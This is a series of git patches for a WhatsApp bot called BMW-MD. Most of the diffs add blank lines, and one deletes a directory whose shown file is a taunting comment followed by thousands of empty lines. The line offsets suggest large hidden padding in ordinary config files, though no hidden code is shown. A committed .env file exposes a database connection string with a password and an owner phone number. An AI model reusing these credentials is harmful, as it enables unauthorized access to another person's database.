Date: Sat, 26 Oct 2024 23:24:35 +0300
Subject: [PATCH 131/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
Procfile | 1 +
README.md | 1 +
app.json | 1 +
body.js | 1 +
config.env | 2 ++
config.js | 1 +
ibraa.js | 1 +
ibraah.js | 1 +
main.html | 1 +
package.json | 1 +
replit.nix | 1 +
11 files changed, 12 insertions(+)
diff --git a/Procfile b/Procfile
index 554872b..1a12f96 100644
--- a/Procfile
+++ b/Procfile
@@ -15182,6 +15182,7 @@
+
worker: node body.js
diff --git a/README.md b/README.md
index c469955..ab067c3 100644
--- a/README.md
+++ b/README.md
@@ -15170,6 +15170,7 @@
+
diff --git a/app.json b/app.json
index 81b10fc..4def39a 100644
--- a/app.json
+++ b/app.json
@@ -15181,6 +15181,7 @@
+
{
diff --git a/body.js b/body.js
index 32eece9..6899155 100644
--- a/body.js
+++ b/body.js
@@ -15261,6 +15261,7 @@ YMMMUP^
+
**/
diff --git a/config.env b/config.env
index 0d70add..2f107ef 100644
--- a/config.env
+++ b/config.env
@@ -13,3 +13,5 @@ OPENAI_API_KEY= ""
STARTING_BOT_MESSAGE='yes'
ANTI_DELETE_MESSAGE='yes'
SESSION_ID=''
+
+
diff --git a/config.js b/config.js
index edfe40e..af8ad48 100644
--- a/config.js
+++ b/config.js
@@ -15182,6 +15182,7 @@
+
const fs = require('fs-extra');
diff --git a/ibraa.js b/ibraa.js
index 571bd7a..50bd9fa 100644
--- a/ibraa.js
+++ b/ibraa.js
@@ -15181,5 +15181,6 @@
+
diff --git a/ibraah.js b/ibraah.js
index 2d8d738..c7f5b5a 100644
--- a/ibraah.js
+++ b/ibraah.js
@@ -15264,5 +15264,6 @@ YMMMUP^
+
diff --git a/main.html b/main.html
index 35bbf0e..750f026 100644
--- a/main.html
+++ b/main.html
@@ -16,3 +16,4 @@
BMW MD DEPLOYED SUCCESSFULLY
Follow Wachnnel For Updates
+
diff --git a/package.json b/package.json
index c6e36ad..b853454 100644
--- a/package.json
+++ b/package.json
@@ -15182,6 +15182,7 @@
+
{
diff --git a/replit.nix b/replit.nix
index 4f4521c..0290d8b 100644
--- a/replit.nix
+++ b/replit.nix
@@ -15236,6 +15236,7 @@
+
{ pkgs }: {
From 680342c4deffd111904e2d361100e4ef3f69fdd0 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sat, 26 Oct 2024 23:27:15 +0300
Subject: [PATCH 132/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.gitignore | 1 +
1 file changed, 1 insertion(+)
diff --git a/.gitignore b/.gitignore
index 2364870..a7419bd 100644
--- a/.gitignore
+++ b/.gitignore
@@ -15184,3 +15184,4 @@
node_modules
+.env
From d9f7f0ccf15a4fd0d05227de36764ebda6abc999 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sat, 26 Oct 2024 23:29:35 +0300
Subject: [PATCH 133/208] =?UTF-8?q?=E2=AD=95=20ADAMS=20VERSION=20=E2=AD=95?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.env | 18 ++++++++++++++++++
1 file changed, 18 insertions(+)
create mode 100644 .env
diff --git a/.env b/.env
new file mode 100644
index 0000000..3d07c54
--- /dev/null
+++ b/.env
@@ -0,0 +1,18 @@
+OWNER_NAME="Ibrahim Adams"
+PREFIX="."
+PUBLIC_MODE='yes'
+AUTO_READ_STATUS="yes"
+AUTO_DOWNLOAD_STATUS="no"
+BOT_NAME= "BMW-MD"
+IMAGE_MENU= "https://telegra.ph/file/0c225f7da5616cdcbec80.jpg"
+BOT_OWNER=ibraah-tech
+NUMERO_OWNER= "254710772666"
+OWNER_NAME= "᚛Ibrahim adams᚜"
+DATABASE_URL= "postgresql://postgres:bKlIqoOUWFIHOAhKxRWQtGfKfhGKgmRX@viaduct.proxy.rlwy.net:47738/railway"
+GITHUB_GIT=https://api.ibrahimadams.us.kg
+WARN_COUNT= ""
+OPENAI_API_KEY= ""
+STARTING_BOT_MESSAGE='yes'
+ANTI_DELETE_MESSAGE='yes'
+
+
From 23f5630953b6a2997852699b6e85483057fcddb0 Mon Sep 17 00:00:00 2001
From: Ibraah Tech
Date: Sat, 26 Oct 2024 23:30:19 +0300
Subject: [PATCH 134/208] Delete scs directory
---
scs/bmwa.js | 15268 --------------------------------------------
scs/bmwae.js | 15451 ---------------------------------------------
scs/bmwba.js | 15300 --------------------------------------------
scs/bmwbe.js | 15321 --------------------------------------------
scs/bmwbi.js | 14 -
scs/bmwbo.js | 1 -
scs/bmwboo.js | 1 -
scs/bmwbu.js | 499 --
scs/bmwbut.js | 1 -
scs/bmwbutton.js | 2 -
scs/bmwc.js | 102 -
scs/bmwca.js | 70 -
scs/bmwce.js | 36 -
scs/bmwcii.js | 455 --
scs/bmwcmd.js | 169 -
scs/bmwcmds.js | 2 -
scs/bmwco.js | 390 --
scs/bmwcu.js | 29 -
scs/bmwd.js | 602 --
scs/bmwda.js | 129 -
scs/bmwde.js | 33 -
scs/bmwdo.js | 24 -
scs/bmwdu.js | 189 -
scs/bmwee.js | 205 -
scs/bmweo.js | 1337 ----
scs/bmweu.js | 103 -
scs/bmwf.js | 31 -
scs/bmwfet.js | 63 -
scs/bmwh.js | 94 -
scs/bmwhlp.js | 1 -
scs/bmwhrk.js | 334 -
scs/bmwi.js | 215 -
scs/bmwj.js | 280 -
scs/bmwjj.js | 1 -
scs/bmwm.js | 144 -
scs/bmwmenu.js | 11 -
scs/bmwmn.js | 2 -
scs/bmwmor.js | 1 -
scs/bmwn.js | 26 -
scs/bmwo.js | 39 -
scs/bmwp.js | 37 -
scs/bmwplns.js | 119 -
scs/bmwq.js | 90 -
scs/bmwqan.js | 1 -
scs/bmwqpa.js | 1 -
scs/bmwr.js | 114 -
scs/bmwrepo.js | 1338 ----
scs/bmws.js | 74 -
scs/bmwt.js | 62 -
scs/bmwtes.js | 13 -
scs/bmwu.js | 51 -
scs/bmwue.js | 991 ---
scs/bmwui.js | 39 -
scs/bmwuu.js | 1037 ---
scs/bmwv.js | 88 -
scs/bmww.js | 173 -
scs/bmwx.js | 103 -
scs/bmwy.js | 309 -
scs/bmwz.js | 50 -
59 files changed, 71665 deletions(-)
delete mode 100644 scs/bmwa.js
delete mode 100644 scs/bmwae.js
delete mode 100644 scs/bmwba.js
delete mode 100644 scs/bmwbe.js
delete mode 100644 scs/bmwbi.js
delete mode 100644 scs/bmwbo.js
delete mode 100644 scs/bmwboo.js
delete mode 100644 scs/bmwbu.js
delete mode 100644 scs/bmwbut.js
delete mode 100644 scs/bmwbutton.js
delete mode 100644 scs/bmwc.js
delete mode 100644 scs/bmwca.js
delete mode 100644 scs/bmwce.js
delete mode 100644 scs/bmwcii.js
delete mode 100644 scs/bmwcmd.js
delete mode 100644 scs/bmwcmds.js
delete mode 100644 scs/bmwco.js
delete mode 100644 scs/bmwcu.js
delete mode 100644 scs/bmwd.js
delete mode 100644 scs/bmwda.js
delete mode 100644 scs/bmwde.js
delete mode 100644 scs/bmwdo.js
delete mode 100644 scs/bmwdu.js
delete mode 100644 scs/bmwee.js
delete mode 100644 scs/bmweo.js
delete mode 100644 scs/bmweu.js
delete mode 100644 scs/bmwf.js
delete mode 100644 scs/bmwfet.js
delete mode 100644 scs/bmwh.js
delete mode 100644 scs/bmwhlp.js
delete mode 100644 scs/bmwhrk.js
delete mode 100644 scs/bmwi.js
delete mode 100644 scs/bmwj.js
delete mode 100644 scs/bmwjj.js
delete mode 100644 scs/bmwm.js
delete mode 100644 scs/bmwmenu.js
delete mode 100644 scs/bmwmn.js
delete mode 100644 scs/bmwmor.js
delete mode 100644 scs/bmwn.js
delete mode 100644 scs/bmwo.js
delete mode 100644 scs/bmwp.js
delete mode 100644 scs/bmwplns.js
delete mode 100644 scs/bmwq.js
delete mode 100644 scs/bmwqan.js
delete mode 100644 scs/bmwqpa.js
delete mode 100644 scs/bmwr.js
delete mode 100644 scs/bmwrepo.js
delete mode 100644 scs/bmws.js
delete mode 100644 scs/bmwt.js
delete mode 100644 scs/bmwtes.js
delete mode 100644 scs/bmwu.js
delete mode 100644 scs/bmwue.js
delete mode 100644 scs/bmwui.js
delete mode 100644 scs/bmwuu.js
delete mode 100644 scs/bmwv.js
delete mode 100644 scs/bmww.js
delete mode 100644 scs/bmwx.js
delete mode 100644 scs/bmwy.js
delete mode 100644 scs/bmwz.js
diff --git a/scs/bmwa.js b/scs/bmwa.js
deleted file mode 100644
index 31308af..0000000
--- a/scs/bmwa.js
+++ /dev/null
@@ -1,15268 +0,0 @@
-
-
-/**
-Yoo bro what au looking for
-Just deploy the bot with original repo
-
-BMW MD
-
-Made by dev Ibrahim Adams
-
-
- _.u[[/;:,. .odMMMMMM'
- .o888UU[[[/;:-. .o@P^ MMM^
- oN88888UU[[[/;::-. dP^
- dNMMNN888UU[[[/;:--. .o@P^
- ,MMMMMMN888UU[[/;::-. o@^
- NNMMMNN888UU[[[/~.o@P^
- 888888888UU[[[/o@^-..
- oI8888UU[[[/o@P^:--..
- .@^ YUU[[[/o@^;::---..
- oMP ^/o@P^;:::---..
- .dMMM .o@^ ^;::---...
- dMMMMMMM@^` `^^^^
-YMMMUP^
-
- Unclone version 😂🤣
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
